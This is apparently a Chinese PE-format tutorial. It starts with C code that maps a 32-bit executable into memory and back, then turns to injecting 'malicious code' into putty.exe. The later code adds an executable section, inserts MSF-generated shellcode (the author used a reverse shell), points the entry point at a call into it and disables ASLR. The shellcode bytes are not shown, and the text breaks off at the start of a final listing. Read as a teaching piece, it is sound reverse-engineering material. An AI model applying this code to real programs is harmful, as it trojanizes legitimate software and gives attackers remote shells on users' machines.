  1. 解析PE文件:其实就是运用了本文“结构体”部分内容的思想进行解析
// 解析PE文件
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;   // DOS头
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // NT头,DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // 文件头,NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;    // 可选PE头
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections); // 节区头数组
if (ppSectionHeader == NULL) {
    printf("内存分配失败!");
    return NULL;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);   // SizeOfOptionalHeader指定了可选PE头的大小,第一个节区头在可选PE头后面
if (pFileHeader->NumberOfSections > 1) {
    for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
        ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);   // 每个节区头大小是固定的,所以+1就是下一个节区头
    }
}
  1. 新建一块区域用于存放拉伸后的PE文件
// 新建一块区域用于存放拉伸后的PE文件
char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);    // 可选PE头中的SizeOfImage成员用于表示PE文件在内存中的总大小
if (imageBuffer == NULL) {
printf("内存分配失败!");
return NULL;
}
memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
  1. 拉伸
// DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);

// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
// 节区头中的PointerToRawData成员表示该节区数据在文件中的偏移量,所以fileBuffer + PointerToRawData就是该节区在文件中的起始位置
// 节区头中的VirtualAddress成员表示该节区数据在内存中的偏移量,所以imageBuffer + VirtualAddress就是该节区在内存中的起始位置
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
}

压缩

​ 模拟PE文件在内存中的状态还原到硬盘中的过程。

char* imageBuffertoFileBuffer(char *imageBuffer) {
    // 解析PE文件所有头部和节区头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);  // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);   // SizeOfOptionalHeader指定了可选PE头的大小,第一个节区头在可选PE头后面
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = ppSectionHeader[0] + i;
        }
    }

    // 新建一块内存空间用于存放压缩后的PE文件数据
    PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
    char* fileBuffer = (char*)malloc(fileBufferSize);
    if (fileBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(fileBuffer, 0, fileBufferSize);

    // 拷贝PE头部和节区头
    memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);

    // 拷贝节区
    for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
        memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
    }


    FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    fwrite(fileBuffer, fileBufferSize, 1, pf);
    fclose(pf);
    return fileBuffer;
}

代码详解

  1. 解析PE文件结构部分和拉伸过程基本一直,只是这次强制转换类型的数据变成了imageBase。
// 解析PE文件所有头部和节区头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);  // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
if (pFileHeader->NumberOfSections > 1) {
    for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
        ppSectionHeader[i] = ppSectionHeader[0] + i;
    }
}
  1. 新建一块内存用于存放压缩后的PE文件。
// 新建一块内存空间用于存放压缩后的PE文件数据
// fileBuffer内存大小通过最后一个节区头中的PointerToRawData(节在文件中的偏移量)和SizeOfRawData(在文件中对齐后的尺寸)相加得到。
PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
char* fileBuffer = (char*)malloc(fileBufferSize);
if (fileBuffer == NULL) {
    printf("内存分配失败!");
    return NULL;
}
memset(fileBuffer, 0, fileBufferSize);
  1. 压缩过程
// 拷贝PE头部和节区头
memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);

// 拷贝节区
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
    memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
}

完整代码

​ 最后通过main函数调用拉伸和压缩函数,完成我们“复制”的过程。最后生成的1.exe,我们打开它能够正常运行,那就说明成功了。需要注意的是,这段代码仅支持拉伸和压缩32位的PE文件,因为里面使用到涉及位数的结构体都使用了32位。

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
char* fileBuffertoImageBuffer(char* fileBuffer);
char* imageBuffertoFileBuffer(char* imageBuffer);

int main(int argc, char* argv[]) {
    char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");   // 读取PE文件
    char *imageBuffer = fileBuffertoImageBuffer(fileBuffer);    // 拉伸

    char *newFileBuffer = imageBuffertoFileBuffer(imageBuffer); // 压缩

    free(fileBuffer);
    free(newFileBuffer);
    free(imageBuffer);
    return 0;
}

char* readFile(const char* fileName) {
    // 打开文件
    FILE *pf = fopen(fileName, "rb");
    if (pf == NULL) {
        printf("文件打开失败!");
        return NULL;
    }

    // 获取文件大小
    unsigned int fileSize = 0;
    fseek(pf, 0, SEEK_END);
    fileSize = ftell(pf);
    fseek(pf, 0, SEEK_SET);

    // 分配内存并初始化
    char* fileBuffer = (char*)malloc(fileSize);
    if (fileBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(fileBuffer, 0, fileSize);

    // 读文件
    fread(fileBuffer, fileSize, 1, pf);

    fclose(pf);
    return fileBuffer;
}

char* fileBuffertoImageBuffer(char *fileBuffer) {
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
        }
    }


    // 新建一块区域用于存放拉伸后的PE文件
    char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
    if (imageBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);


    // 拉伸
    // DOS头到最后一个节区头部分不需要拉伸,所以直接拷贝过来
    memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);

    // 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置,然后拷贝到imageBuffer的VirtualAddress处
    for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
        printf("%p\n", (ppSectionHeader[i]->VirtualAddress));
        memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
    }

    return imageBuffer;
}

char* imageBuffertoFileBuffer(char *imageBuffer) {
    // 解析PE文件所有头部和节区头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);  // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);;
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = ppSectionHeader[0] + i;
        }
    }

    // 新建一块内存空间用于存放压缩后的PE文件数据
    PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
    char* fileBuffer = (char*)malloc(fileBufferSize);
    if (fileBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(fileBuffer, 0, fileBufferSize);

    // 拷贝PE头部和节区头
    memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);

    // 拷贝节区
    for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
        memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
    }


    FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    fwrite(fileBuffer, fileBufferSize, 1, pf);
    fclose(pf);
    return fileBuffer;
}

0x0a 往PE文件中添加恶意代码

​ 练习PE文件结构其实还有其他更加有趣的实验,我们已经学习到PE文件的可选PE头结构体中有一个AddressOfEntryPoint成员,用于指定程序最先执行的代码起始地址,那我们往程序中注入恶意代码,然后修改AddressOfEntryPoint指向我们的恶意代码,那么程序在运行时是不是就执行了我们的恶意代码呢?为了更加无感执行,我们执行完恶意代码后再跳转回原来的AddressOfEntryPoint执行,那程序就能在执行恶意代码的基础上,正常的运行程序了。本文的实验程序是32位putty,下载地址:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

注入恶意代码

​ 首先我们需要考虑的就是怎么往PE文件中注入恶意代码,这里就需要用到前面学习到的节区了。通常PE文件会把机器码指令存放在.text节中,那么我们同样可以添加恶意代码机器码到节区中。

​ 其实有几种方式注入:

  1. 新增节区存放恶意代码机器码指令(需要保证节区有执行权限,当节区的Characteristics中IMAGE_SCN_MEM_EXECUTE位置为1时,该节区有执行权限)。
  2. 扩大节区存放恶意代码机器码指令。
  3. 合并节区存放恶意代码机器码指令。

​ 本文先以新增节区的方式讲解,其他方式后续有机会再写。

新增节区

需要改动的成员

​ 通过前面学习的PE结构我们可以知道,有些成员之间是相互有关联的,那么我们改动一个地方之后,可能另外一个地方也需要一起改动,这样才能保证PE文件能够被正常运行。通过新增节区的方式,我们需要改动的有以下几个地方:

  1. 文件头需要修改的成员
  2. NumberOfSections // PE文件中存在的节的总数
  3. 可选PE头需要修改的成员
  4. SizeOfImage // 内存中整个PE文件的映射的尺寸,可以比实际的值大,但必须是SectionAlignment的整数倍
  5. 新增的节区头中需要修改的成员
  6. Name // 节区名称
  7. Misc.VirtualSize // 节区的真实尺寸,是该节在没有对齐前的真实尺寸
  8. VirtualAddress // 节区的 RVA 地址(在内存中的偏移地址)
  9. SizeOfRawData // 节区文件中对齐后的尺寸
  10. PointerToRawData // 节区在文件中的偏移量
  11. Characteristics // 节区的属性如可读,可写,可执行等

步骤

  1. 检查空间

​ 在新增节区之前,需要检查是否有足够的空间添加节区头。我们知道最后一个节区头与第一个节区之间是有一块空闲空间的,通常编译器生成的PE文件都会有这样一块空间,我们需要做的就是判断这块空闲空间是否足够存放两个节区头,也就是80个字节(一个节区头40个字节)。

1-8.png

​ 那么可能还有个疑问,为什么要检查两个节区头大小,不是只新增一个节区头吗?其实这是为了兼容所有的操作系统,部分操作系统遍历节区头会通过以一个全为0x00的节区头作为结尾,类似于C语言中字符串结束符'\0',我们要兼容这种情况就必须要预留出一个空白的节区头(值得注意的是,这并不是必须的,只有在存在这种情况的操作系统上运行才需要这么做,貌似现在大部分操作系统都不需要这么做了,这个没有具体深究过)。

​ 除了检查是否有足够的空间外,还需要检查这块空间里是否有编译器留下的一些数据(非0x00一般就是编译器留下的数据),可以参考旧版本的notepad.exe,它的这块空闲区域就存放了一些数据。

1-9.png

​ 当遇到空闲区域有填充数据的时候,还可以尝试把整个NT头和节区头上移,将DOS存根(DOS存根可有可无)覆盖,通过这种方式来获取添加节区头的空间。为啥不把节区数据往下移动呢?因为移动后节区的文件偏移、内存偏移都改变了,你需要修改所有的节区头,这样很麻烦。通常几种方式就能够解决大部分的环境了。

  1. 新增节区头并完善新节区头中的数据

​ 这部分稍微复杂一点点,需要计算一下新节区的文件偏移、内存偏移等。这部分的思路是,复制上一个节区头到新节区头位置,然后修改部分值。

​ 这里我们可以通过获取新增节区头的上一个节区头结构体指针,然后+1得到新增节区头的首地址。然后获取新增节区头的上一个节区头在文件中的偏移量(VirtualAddress)加上fileBuffer,就得到需要复制的开始地址,然后用这个开始地址+新增节区头的上一个节区头在文件中对齐后的尺寸(SizeOfRawData)就得到需要复制的结束地址。得到这三个数据后,通过memcpy进行拷贝即可。

​ 之后就是修改新增节区的一些成员值:

  • Name // 节区名称
  • 直接通过memcpy拷贝一个小于8个字节的字符串即可
  • memcpy(newPSectionHeader->Name, ".gcker", 7);
  • Misc.VirtualSize // 节区的真实尺寸,是该节在没有对齐前的真实尺寸
  • 计算出需要添加的机器码指令长度后赋值给它即可

  • VirtualAddress // 节区的 RVA 地址(在内存中的偏移地址)

  • 新增节区头的上一个节区头结构体的VirtualAddress + 上一个节区内存对齐后的尺寸
  • 首先需要判断上一个节区的Misc.VirtualSize和SizeOfRawData哪个大,取大的来做下面的运算
  • 上一个节区内存对齐后的尺寸 = ((max(上一个节区的Misc.VirtualSize,上一个节区的SizeOfRawData) - 1) / SectionAlignment + 1) * SectionAlignment
  • 上面公式中的(上一个节区的Misc.VirtualSize - 1) / SectionAlignment + 1其实是参考https://blog.csdn.net/robinfoxnan/article/details/113634301的
  • SizeOfRawData // 节区文件中对齐后的尺寸
  • ((机器码指令长度 - 1) / FileAlignment + 1) * FileAlignment
  • 依旧是参考上面的向上取整的公式,计算文件对齐后尺寸
  • PointerToRawData // 节区在文件中的偏移量
  • 节区在文件中的偏移量 = 上一个节区文件偏移量(PointerToRawData) + 上一个节区文件对齐后尺寸(SizeOfRawData)
  • Characteristics // 节区的属性如可读,可写,可执行等
  • 由于执行权限是0x20000000,所以只需要跟0x20000000相与就行了
  • Characteristics |= 0x20000000

  • 修改PE结构其他成员

  • 文件头的NumberOfSections:节区个数,由于我们新增一个节区,所有加一就行了

  • NumberOfSections += 1
  • 可选PE头的SizeOfImage:内存中整个PE文件尺寸
  • 只需要计算原有SizeOfImage + 机器码指令长度的内存对齐后尺寸就行,依旧可以使用向上取整的公式
  • (SizeOfImage + shellcodeLength - 1) / SectionAlignment + 1

  • 新增节区数据

​ 到这一步就是新增我们存放机器码指令的地方了,我们可以直接用realloc来增大。增大后的长度就是:原有长度+新增节区文件对齐后尺寸

代码实现

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
int addSection(char* fileBuffer, unsigned long shellcodeLength);

int main(int argc, char* argv[]) {
    char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");   // 读取PE文件
    addSection(fileBuffer, 10);
    return 0;
}

char* readFile(const char* fileName) {
    // 打开文件
    FILE *pf = fopen(fileName, "rb");
    if (pf == NULL) {
        printf("文件打开失败!");
        return NULL;
    }

    // 获取文件大小
    unsigned int fileSize = 0;
    fseek(pf, 0, SEEK_END);
    fileSize = ftell(pf);
    fseek(pf, 0, SEEK_SET);

    // 分配内存并初始化
    char* fileBuffer = (char*)malloc(fileSize);
    if (fileBuffer == NULL) {
        printf("内存分配失败!");
        return NULL;
    }
    memset(fileBuffer, 0, fileSize);

    // 读文件
    fread(fileBuffer, fileSize, 1, pf);

    fclose(pf);
    return fileBuffer;
}

int addSection(char* fileBuffer, unsigned long shellcodeLength) {
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return -1;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
        }
    }




    // 检查空间阶段
    // 判断是否有足够空间添加节区头
    char *start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
    char *end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
    if (end - start >= 80) {
        printf("有足够的空间添加节区头,共:%d个字节\n", end - start);
    }

    // 判断需要被填充为新节区头的部分是否存在其他数据
    for (int i = 0; i < 40; ++i) {
        if (start[i] != '\x00') {
            printf("节区末尾空间不足,需要上移NT头!");
            return -1;
        }
    }




    // 新增节区头并完善新节区头中的数据阶段
    // 新增节区头并设置其属性
    PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
    PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

    // 将上一个节区头拷贝下来
    memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);

    // 设置节区名
    memcpy(newPSectionHeader->Name, ".gcker", 7);

    // 设置节区数据实际长度
    newPSectionHeader->Misc.VirtualSize = shellcodeLength;

    // 设置节区在内存中的偏移量
    unsigned int size = 0;
    if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
        size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
    }
    else {
        size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
    }
    newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;

    // 计算在文件中对齐后的尺寸
    newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;

    // 计算节区在文件中的偏移量
    newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;

    // 给节区添加执行权限
    newPSectionHeader->Characteristics |= 0x20000000;




    // 修改PE结构其他成员阶段
    // 设置节区头数量
    pFileHeader->NumberOfSections += 1;

    // 设置内存中整个PE文件尺寸,必须是SectionAlignment的整数倍
    pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;




    // 新增节区数据
    // 新增节区数据,用于存放机器码指令
    unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
    fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
    memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);


    // 写入文件
    FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    fwrite(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData, 1, pf);
    return 0;
}

添加恶意代码并执行

​ 重点来了,接下来我们就需要添加恶意代码并修改AddressOfEntryPoint执行恶意代码。总体的思路如下:

  1. MSF生成shellcode
  2. 将shellcode插入新增的节区中
  3. 在shellcode后面添加汇编call硬编码指令调用shellcode
  4. 修改AddressOfEntryPoint
  5. 修改DllCharacteristics,禁用随机基址

函数代码

void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
    // 解析PE文件
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);   // DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;    // NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    if (ppSectionHeader == NULL) {
        printf("内存分配失败!");
        return;
    }
    ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    if (pFileHeader->NumberOfSections > 1) {
        for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
            ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
        }
    }
    PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

    // 插入shellcode
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
    char newOpcode[] = "\xe8\x00\x00\x00\x00";
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
    unsigned int newOpcodeLength = sizeof(newOpcode) - 1;

    // 添加call指令调用shellcode
    unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));

    // 修改OEP
    unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
    pOptionalHeader->AddressOfEntryPoint = newOEP;

    // 关闭随机基址
    pOptionalHeader->DllCharacteristics &= 0xffbf;

    // 写入文件
    FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
    return;
}

代码详解

MSF生成shellcode

​ 这个我就不赘述啦~各位师傅估计倒着写都比我溜,我这里实验是生成windows的终端反弹shell。

1-10.png

shellcode插入新增的节区

​ 插入其实就很简单了,我们通过memcpy进行拷贝,拷贝到fileBuffer + 新增节区头的PointerToRawData位置。

// 插入shellcode
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);

添加call硬编码指令调用shellcode

​ 我们在节区的shellcode后面再加一句call指令,用来调用shellcode。call指令是汇编指令,其作用是调用一个过程,指挥处理器从新的内存地址开始执行,类似于编程中的调用函数,使用格式是call <内存地址>。这里最好在shellcode后面相隔几个字节的地方添加call指令,否则call指令的硬编码可能会和shellcode末尾的指令混合在一起形成新的指令,这样意思就错乱了。

​ 需要注意的是,call指令后面跟着的内存地址并不是直接的内存地址,是需要通过一定计算后的,大概意思就是说:假设现在需要通过call指令让CPU到内存地址为0x12345678这个地方执行,那么调用的时候就不是简单的call 0x12345678,具体计算方法如下:

  1. 跳转的真实地址为0x12345678,我们设为X
  2. call指令的下一条指令的内存地址,设为Y
  3. call指令后面跟着的地址Z = X - Y
  4. call的机器码是E8,结合上面计算得到的结果,完整的硬编码就是E8 \<Z>,如Z是0x32164587,则硬编码就是E8 0x32165487

​ 第一个跳转的真实地址 = 新增节区的内存偏移(VirtualAddress) + 基址(ImageBase)。

​ 第二个可能读起来有点懵,用下图解释应该就很清晰了:

1-11.png

​ 在代码中,我们可以通过公式计算:新增节区的内存偏移(VirtualAddress)+ shellcode长度 + 几个字节(防止call指令的硬编码和shellcode末尾的指令混合在一起形成新的指令)+ 5(这个5是call指令的长度,加了5就是下一条指令的地址了)+ 基址(ImageBase)。

​ 这里注意最后要加上基址,因为程序真实加载到内存中,地址是基址+内存偏移的。

​ 知道这X和Y后,只需要做个减法就得到call指令的跳转地址了。注意在代码中我没有加上面公式中的“几个字节”,是因为我在shellcode数组后面已经加了这几个字节,这样shellcodeLength变量就包含了这几个字节,减少代码长度。

// 添加call指令调用shellcode
unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);

// 注意下面有个+1,是因为我们要赋值到call的后面,不加1就会把call硬编码给覆盖了。
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));

修改AddressOfEntryPoint

​ 注意AddressOfEntryPoint填的是内存偏移,不需要加上基址,这里我们直接修改AddressOfEntryPoint为上面新增的call指令的内存偏移就行,这样程序打开后就会先执行这条call指令调用shellcode了。

// 修改OEP
// call指令内存偏移 = 新增节区内存偏移 + shellcode长度得到
unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
pOptionalHeader->AddressOfEntryPoint = newOEP;

禁用随机基址

​ 随机基址可以理解为:程序每次加载都不是以ImageBase作为基址,而是随机生成一个,主要用于防止程序被破解。PE文件结构中,当可选PE头的DllCharacteristics成员的高7位为1时,开启随机基址,要关闭就把高7位置0就行。

// 关闭随机基址
pOptionalHeader->DllCharacteristics &= 0xffbf;

完整代码

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
char* addSection(char* fileBuffer, unsigned long shellcodeLength);
void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer);

